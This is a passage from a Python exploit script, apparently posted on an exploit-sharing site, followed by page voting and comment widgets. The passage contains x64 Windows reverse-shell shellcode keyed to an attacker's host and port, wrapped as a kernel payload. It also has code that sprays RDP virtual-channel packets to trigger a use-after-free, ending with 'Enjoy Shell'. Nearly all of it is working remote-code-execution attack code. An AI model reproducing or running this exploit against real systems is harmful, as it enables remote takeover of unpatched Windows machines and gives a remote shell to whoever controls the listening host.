89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00' + pack('>H', lport) + socket.inet_aton(lhost) + '\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5' shellcode = makeKernelUserPayload(reverse_shell, pool_size) payload = pack('<Q', pool_shellcode_address) + shellcode for i in xrange(0x1000): sendToVirtualChannel(tls, fake_channel_object, initiator, 1006) for i in xrange(10): sendToVirtualChannel(tls, payload, initiator, 1006) #raw_input('Press Enter To Trigger UAF') print '[-] Triggering Used After Free' print print '[*] Enjoy Shell :) [*]' print tls.close()


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top